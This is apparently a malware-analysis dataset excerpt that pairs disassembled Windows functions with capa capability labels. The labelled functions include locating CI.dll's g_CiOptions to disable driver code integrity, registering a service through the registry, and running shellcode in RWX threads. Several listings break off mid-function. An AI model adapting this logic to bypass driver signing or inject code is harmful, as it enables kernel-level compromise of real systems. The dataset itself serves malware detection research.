joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400015e0
Capabilities:
Disable driver code integrity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov qword [r8], rbx
mov rbp, rdx
mov rsi, rcx
call fcn.1400012a0
mov rcx, rsi
mov rdi, rax
call fcn.1400012a0
mov r9, rax
test rax, rax
je 0x14000170d
mov rax, qword gs:[0x30]
mov r10d, ebx
mov r8d, ebx
mov rcx, qword [rax + 0x60]
mov eax, 0x3fab
cmp word [rcx + 0x120], ax
jb 0x1400016a2
lea r11, [0x140004b88]
sub r9, r11
nop
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x140001662
test dl, dl
jne 0x14000169e
inc ecx
inc rax
cmp ecx, 0x10
jb 0x140001655
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x140001650
movzx ecx, bx
nop dword [rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140001690
jmp 0x1400016fc
xor cl, cl
jmp 0x14000166e
lea r11, [0x140004b78]
sub r9, r11
nop dword [rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x1400016c2
test dl, dl
jne 0x140001714
inc ecx
inc rax
cmp ecx, 0xc
jb 0x1400016b5
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x1400016b0
mov ecx, ebx
nop dword [rax + rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x1400016f0
test r10d, r10d
jne 0x140001718
lea rcx, str.failed_to_find_CipInitialize_n
call fcn.140001010
xor eax, eax
jmp 0x1400017fb
xor cl, cl
jmp 0x1400016ce
movzx r9d, cx
mov edx, r10d
movsxd rcx, r10d
lea rax, [rcx + r9]
mov r8d, dword [rax + rdi]
add rdi, 4
lea rax, [rcx + r8]
add rax, r9
lea rcx, str.CipOffset_:__d___CipInitOffset_:_0x_llx__CipInitialize_:_0x_llx_n
add rdi, rax
mov r9, rdi
call fcn.140001010
lea r11, [0x140004b68]
mov r8, rdi
sub r8, r11
mov r10d, ebx
mov r9d, ebx
nop word [rax + rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r8 + rax], dl
je 0x140001772
test dl, dl
jne 0x1400017c1
inc ecx
inc rax
cmp ecx, 0xc
jb 0x140001765
mov cl, 1
test cl, cl
mov eax, r9d
cmove eax, r10d
inc r9d
inc r8
movsxd r10, eax
cmp r9d, 0xff
jl 0x140001760
nop dword [rax]
inc bx
movzx edx, bx
cmp byte [rdx + r11], 0
jne 0x1400017a0
test eax, eax
jne 0x1400017c5
lea rcx, str.failed_to_find_Ci_gOptions_n
call fcn.140001010
xor eax, eax
jmp 0x1400017fb
xor cl, cl
jmp 0x14000177e
lea rax, [rdx + r10]
movsxd r8, dword [rax + rdi]
lea rcx, [r10 + 4]
lea rbx, [rdx + r8]
mov edx, r10d
add rbx, rcx
lea rcx, str.Offset_:__d_RealOffset_:__d__g_CiOptions_:_0x_llx
add rbx, rdi
mov r9, rbx
call fcn.140001010
sub rbx, rsi
mov eax, 1
add rbx, rbp
mov qword [r14], rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140001820
Capabilities:
Access peb ldr_data
Get windows directory from kuser_shared_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov qword [rcx], 0
lea rdx, [rsp + 0x58]
mov eax, dword [0x140004608]
lea r8, str._lsSystem32_hs
movsd xmm0, qword [0x140004600]
mov rdi, rcx
mov dword [rsp + 0x60], eax
mov esi, 0x23f0
movzx eax, byte [0x14000460c]
mov r9d, 0x7ffe0030
mov byte [rsp + 0x64], al
mov eax, dword [str.CI.dll]
mov dword [rsp + 0x50], eax
movzx eax, word [0x140004614]
mov word [rsp + 0x54], ax
movzx eax, byte [0x140004616]
mov byte [rsp + 0x56], al
movsd qword [rsp + 0x58], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
lea rax, [rsp + 0x50]
cmp word [rcx + 0x120], si
lea rcx, [rsp + 0x70]
cmovb rax, rdx
mov edx, 0x82
mov qword [rsp + 0x20], rax
call fcn.1400013b0
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001070
mov ebx, eax
test eax, eax
jns 0x140001919
mov r8d, eax
lea rdx, [rsp + 0x70]
lea rcx, str.Failed_to_map__ls:__08X_n
call fcn.140001010
jmp 0x140001a50
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], si
jb 0x140001982
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.140001410
mov ebx, eax
test eax, eax
jns 0x140001957
mov edx, eax
lea rcx, str.Failed_to_FindKernelModule__08X_n
call fcn.140001010
jmp 0x140001a3e
mov rdx, qword [rsp + 0x38]
lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call fcn.1400015e0
test eax, eax
je 0x140001a39
mov rax, qword [rsp + 0x30]
xor ebx, ebx
mov qword [rdi], rax
jmp 0x140001a3e
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140001410
mov ebx, eax
test eax, eax
js 0x140001a3e
mov r11, qword [rsp + 0x48]
xor r10d, r10d
xor r9d, r9d
test r11, r11
je 0x140001a2d
mov rbx, qword [rsp + 0x40]
lea rsi, [0x140004b9c]
nop dword [rax + rax]
mov r8, r9
xor edx, edx
sub r8, rsi
mov rax, rsi
add r8, rbx
nop
movzx ecx, byte [rax]
cmp byte [r8 + rax], cl
je 0x1400019dd
test cl, cl
jne 0x140001a29
inc edx
inc rax
cmp edx, 4
jb 0x1400019d0
mov cl, 1
test cl, cl
mov rax, r9
cmove rax, r10
inc r9
mov r10, rax
cmp r9, r11
jb 0x1400019c0
test rax, rax
je 0x140001a2d
movsxd rcx, dword [rax + rbx + 4]
mov rbx, qword [rsp + 0x30]
add rcx, rax
add rbx, 8
add rbx, rcx
lea rcx, str.i_:_0x_llx_n_gCiEnabled_:__llx_n_gCiEnabledAddress_:__llx_n
call fcn.140001010
mov qword [rdi], rbx
xor ebx, ebx
jmp 0x140001a3e
xor cl, cl
jmp 0x1400019e9
lea rcx, str.failed_to_find_CiEnabled_n
call fcn.140001010
mov ebx, 0xc0000225
mov rdx, qword [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov eax, ebx
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140002b80
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140001b20
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rdx
mov rbx, rcx
call fcn.140001a80
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x140001c07
lea r8, str.___
mov dword [rsp + 0x30], 1
mov edx, 5
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, rdi
lea rcx, [rsp + 0x40]
mov edx, 0x87
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001ba0
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x40]
mov rdx, rbx
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140001c07
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140002b80
mov rbx, qword [rsp + 0x280]
add rsp, 0x260
pop rdi
ret
Function at 0x140003510
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000355a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000355a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000355a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000355a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000355a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000355c
xor al, al
add rsp, 0x28
ret
Function at 0x14002438c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400243d6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400243d6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400243d6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400243d6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400243d6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400243d8
xor al, al
add rsp, 0x28
ret

Function at 0x14002c9e0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002c744

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x140004210
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xe0
movdqa xmmword [rsp + 0xd0], xmm7
movdqa xmmword [rsp + 0xc0], xmm6
mov rsi, rdx
mov rdi, rcx
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x90], xmm0
movdqa xmmword [rsp + 0x80], xmm0
lea rdx, [rsp + 0x80]
xor ecx, ecx
mov r8d, 0x20
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
cmp eax, 0xc0000000
jb 0x140004284
mov ebx, eax
lea rcx, [rsp + 0x80]
mov edx, 0x20
call qword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x140004301
movdqa xmm7, xmmword [rsp + 0x80]
movdqa xmm6, xmmword [rsp + 0x90]
movdqu xmmword [rsp + 0xb0], xmm6
movdqu xmmword [rsp + 0xa0], xmm7
mov rax, qword [0x14017d280]
test rax, rax
je 0x140004342
test eax, 0x4000
jne 0x140004352
pshufd xmm0, xmm7, 0xee
pshufd xmm1, xmm6, 0xee
movq rax, xmm7
movq rcx, xmm0
movq rdx, xmm6
movq r8, xmm1
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], r8
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
jmp 0x140004370
and ebx, 0x7fffffff
je 0x140004284
movzx eax, byte [0x14017d2b0]
mov edx, 4
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14000440f
mov dword [rax], ebx
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400043d2
call fcn.14010d1d0
test eax, 0x4000
je 0x1400042c3
lea r8, [0x140148e20]
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0xa0]
call fcn.14004b250
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
mov r9, qword [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], r9
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x40], rcx
mov qword [rdi], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], rdx
mov qword [rdi + 0x20], r8
mov rax, qword [rsp + 0x40]
mov qword [rdi + 0x28], rax
mov qword [rdi + 0x40], 0
mov rax, 0xffffffffffffff00
add rax, qword [rdi + 0x30]
mov qword [rdi + 0x38], rax
mov rcx, rdi
mov rdx, rsi
call fcn.14004b270
movaps xmm6, xmmword [rsp + 0xc0]
movaps xmm7, xmmword [rsp + 0xd0]
add rsp, 0xe0
pop rbx
pop rdi
pop rsi
ret
mov ecx, 4
mov edx, 4
call fcn.140104380
int3
Function at 0x14000b8a0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Enumerate files on windows
Execute shellcode via indirect call
Get common file path
Inject thread
Set environment variable
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x988
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x8f0], xmm6
mov qword [rbp + 0x8e8], 0xfffffffffffffffe
mov qword [rbp + 0x8c0], rdx
mov r14, rcx
movzx eax, byte [rcx + 0x148]
lea r15, str._nlibrary_std_src_rt.rs
lea rbx, [0x14016f768]
test eax, eax
mov qword [rbp + 0x778], rcx
je 0x14000b985
cmp eax, 3
jne 0x14000bb1f
lea r12, [r14 + 0x140]
movzx eax, byte [r14 + 0x140]
test eax, eax
je 0x14000bb1d
cmp eax, 3
jne 0x14000bb66
lea rsi, [r14 + 8]
cmp dword [r14 + 8], 2
je 0x14000bf34
mov qword [rbp + 0x510], r15
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], rbx
xorps xmm6, xmm6
movups xmmword [rbp + 0x528], xmm6
lea rcx, [rbp + 0x510]
call fcn.1400de9c0
mov qword [rbp + 0x510], 0
lea rcx, [rbp + 0x510]
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x510]
movabs rax, 0x19db1ded53e8000
mov rdx, r8
sub rdx, rax
neg rdx
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rax
cmovl rcx, rdx
movabs rdx, 0xd6bf94d5e57a42bd
mov rax, rcx
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14000bb2b
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rdx, rcx
shr rdx, 0x2d
add rdx, rax
mov qword [rbp + 0x360], rdx
mov qword [rbp + 0x368], 0
lea rax, [rbp + 0x360]
mov qword [rbp + 0x1d8], rax
lea rax, [0x1400167b0]
mov qword [rbp + 0x1e0], rax
lea rax, str.Time:
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
lea rax, [rbp + 0x1d8]
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x510]
call fcn.1400de9c0
mov qword [rbp + 0x510], r15
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], rbx
movups xmmword [rbp + 0x528], xmm6
lea rcx, [rbp + 0x510]
call fcn.1400de9c0
mov qword [rbp + 0x510], r15
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], rbx
movups xmmword [rbp + 0x528], xmm6
lea rcx, [rbp + 0x510]
call fcn.1400de9c0
mov ecx, 5
call fcn.1400d6700
jmp 0x14000bb72
jmp 0x14000bb81
lea rcx, str.srcmain.rs
call fcn.140104c30
imul eax, ecx, 0x64
mov qword [rbp + 0x510], rdx
mov dword [rbp + 0x518], eax
lea rax, str.srcmain.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14010fe20]
lea r8, [rbp + 0x510]
mov edx, 0x2b
call fcn.1401049b0
lea rcx, str.srcmain.rs
call fcn.140104c30
Function at 0x140017dc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140017e40
cmp r11, r10
ja 0x140017eb7
cmp r10, rdx
ja 0x140017ec9
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140017e42
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140017e20
jmp 0x140017ea4
ja 0x140017e4a
mov r11, r10
cmp rax, r8
jne 0x140017dee
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140017e80
mov rdi, r8
sub ecx, edx
jns 0x140017e9b
jmp 0x140017ea6
cmp r8, rsi
je 0x140017ed8
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140017ea6
xor al, 1
cmp rdi, rsi
jne 0x140017e60
jmp 0x140017ea6
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1401048e0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1401046e0
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140104a40
int3
Function at 0x14001f090
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x14001f126
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet]
movdqa xmmword [rsp + 0x30], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmmword [0x14010f710]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14001f360
test rdi, rdi
je 0x14001f1b5
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x14001f1ce
mov rdx, qword [rsi]
xor ecx, ecx
test rdx, rdx
setne cl
movabs rax, 0xcbf29ce484222325
xor rax, rcx
movabs rcx, 0x1efac7090aef4a21
imul rax, rcx
test rdx, rdx
je 0x14001f2c6
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x14001f348
mov rcx, qword [rsi + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x14001f2d3
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x14001f190
cmp r9, 8
jae 0x14001f2dc
jmp 0x14001f348
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14001f360
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rax, r8
xor rcx, rdx
rol rdx, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
shl byte [rax], 0x48
add edx, eax
mov r8, rcx
cmp r9, 8
jb 0x14001f348
add rcx, r9
nop
Function at 0x14001f360
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x14001f3a2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
mov edi, edx
cmovb rdi, r8
cmp rdi, 4
jb 0x14001f3aa
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x14001f3bb
jmp 0x14001f3d2
xor r10d, r10d
jmp 0x14001f45d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
cmp ecx, edi
jae 0x14001f3d2
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x14001f3e9
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
mov ecx, ecx
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x14001f409
add r11, r8
jmp 0x14001f53b
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x14001f4d2
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x14001f480
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x14001f4f0
mov r9d, dword [rdx + r10]
mov r8d, 4
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
cmp ecx, ebx
Function at 0x140056430
Capabilities:
Query or enumerate registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov rax, r8
mov r14, rdx
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x60]
mov r8d, 0xb
mov rdx, rax
call fcn.140056130
mov dword [rsp + 0x38], 0x800
mov dword [rsp + 0x3c], 0
movzx eax, byte [0x14017d2b0]
mov edx, 0x800
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400565b7
mov rbx, rax
mov qword [rsp + 0x48], 0x800
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0
mov rdi, qword [rsp + 0x68]
lea rbp, [rsp + 0x38]
lea r15, [rsp + 0x3c]
mov r12, qword [sym.imp.advapi32.dll_RegQueryValueExW]
mov rsi, qword [rsp + 0x48]
mov r13, qword [rsp + 0x58]
sub rsi, r13
nop word [rax + rax]
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov rdx, rdi
xor r8d, r8d
mov r9, r15
call r12
cmp eax, 0xea
jne 0x14005650e
mov r8d, dword [rsp + 0x38]
cmp rsi, r8
jae 0x1400564d0
lea rcx, [rsp + 0x48]
mov rdx, r13
call fcn.140104c70
mov rbx, qword [rsp + 0x50]
jmp 0x1400564ba
test eax, eax
jne 0x140056530
mov eax, dword [rsp + 0x38]
mov qword [rsp + 0x58], rax
mov eax, dword [rsp + 0x3c]
cmp eax, 0xb
jbe 0x140056594
movabs rax, 0xde00000002
jmp 0x140056538
shl rax, 0x20
or rax, 2
mov rcx, qword [rsp + 0x40]
mov qword [rcx + 8], rax
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rsp + 0x48], 0
je 0x140056568
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x60], 0
je 0x140056582
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x40]
mov qword [rdx + 0x10], rcx
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rdx], xmm0
mov byte [rdx + 0x18], al
cmp qword [rsp + 0x60], 0
jne 0x140056570
jmp 0x140056582
mov ecx, 1
mov edx, 0x800
call fcn.140104360
int3
Function at 0x140068cc0
Capabilities:
Encode data using xor

Disassembly:
push rsi
sub rsp, 0xd0
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140068cd0
test al, 1
je 0x140068d78
test al, 2
jne 0x140068d90
test al, 8
jne 0x140068d0a
lea rcx, [rsi + 0x20]
mov byte [rsp + 0xc8], 4
lea rdx, [rsp + 0x58]
call fcn.140069840
jmp 0x140068d28
test al, 0x10
je 0x140068d28
mov rax, qword [rsi + 0xb8]
test rax, rax
je 0x140068e14
mov rcx, qword [rsi + 0xc0]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec8c0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x28], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x28]
jb 0x140068da8
jne 0x140068d6e
mov rcx, rsi
add rsp, 0xd0
pop rsi
jmp fcn.140068bf0
nop
add rsp, 0xd0
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ab80]
mov edx, 0x23
call fcn.1401046f0
lea rcx, str.assertion_failed:__prev.is_complete__
